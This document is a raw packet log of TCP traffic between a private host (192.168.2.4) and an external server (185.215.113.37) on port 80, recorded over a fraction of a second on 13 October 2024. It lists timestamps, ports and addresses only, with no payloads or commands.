Oct 13, 2024 06:54:17.093233109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.093233109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.093233109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.093240023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.093255043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.093271971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.093350887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.093352079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.093352079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095292091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095302105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095314026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095351934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095364094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095379114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095377922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095379114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095403910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095413923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095448017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095448971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095463991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095474005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095489025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095503092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095520973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095520973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095520973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095525980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095531940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095549107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.095558882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095654964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.095654964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096609116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096664906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096668005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096677065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096730947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096752882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096771002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096781969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096801996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096815109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096828938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096848011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096852064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096852064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096852064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096860886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096868038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096875906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096915007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096920967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096931934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096932888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.096944094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.096965075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097075939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097438097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097466946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097480059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097491980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097492933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097508907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097522020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097534895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097543955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.097560883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097560883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097560883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.097610950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151380062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151480913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151495934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151509047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151524067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151537895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151549101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151547909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151547909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151547909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151566029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151570082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151582956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151597977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151612043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151627064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151638985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151638985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151638985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151640892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151654005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.151689053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.151731968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152318954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152338028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152381897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152401924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152401924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152436972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152450085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152461052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152478933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152478933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152497053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152556896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152569056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152587891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152601957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152609110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152615070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152630091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152642965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152657032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152668953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.152681112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152681112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152681112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.152718067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181298971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181318045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181325912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181332111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181377888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181394100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181406021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181417942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181427956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181430101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181442976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181472063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181484938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181507111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181518078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181528091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181538105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181550026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181560993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181571007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181590080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181601048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181607962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181607962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181607962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181612015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181646109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181658030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181674004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181678057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181678057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181688070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181688070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181703091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181715012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181725025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181747913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181773901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181773901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181785107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181823969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181833029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181842089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181853056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181862116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181862116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181873083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181909084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181926966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181929111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181929111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181929111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181937933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181950092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181961060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181973934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181982040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181993008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.181998014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181998014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.181998014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182007074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182018042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182020903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182039976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182050943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182061911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182071924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182082891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182099104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182110071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182123899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182136059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182147026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.182173014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182173014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182173014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182173967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182173967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182173967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.182204962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.183964968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.183983088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.183993101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184119940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184129000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184139967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184150934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184163094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184164047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184164047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184164047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184180975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184186935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184195042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184207916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184221029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184231043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184242964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.184617996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184617996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184617996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.184617996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185147047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185163975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185173035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185220957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185223103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185223103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185231924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185262918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185271978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185275078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185286045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185336113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185336113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185336113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185336113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185439110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185455084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185467005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185477972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185492039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185503006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185514927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.185705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.185705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186347961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186388016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186397076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186403990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186425924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186427116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186511993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186521053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186533928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186546087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.186590910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246548891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246561050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246572018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246623039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246632099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246632099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246633053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246644974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246658087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246670008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246699095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246709108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246726990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246740103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246741056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246741056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246742010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246742010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246742010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246756077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246773958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.246876955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246876955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246876955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.246876955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248188019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248199940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248209953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248219967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248245955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248258114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248279095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248284101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248284101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248284101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248291969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248306036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248306990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248328924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248332024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248342037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248356104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248366117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248379946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248390913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248403072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.248745918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248745918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248745918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248745918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.248745918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.289519072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289530993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289542913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289585114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289596081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289608955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289629936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.289633989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289659977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289681911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289709091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289722919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.289753914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.289753914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.289753914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.289753914 CEST	49730	80	192.168.2.4	185.215.113.37
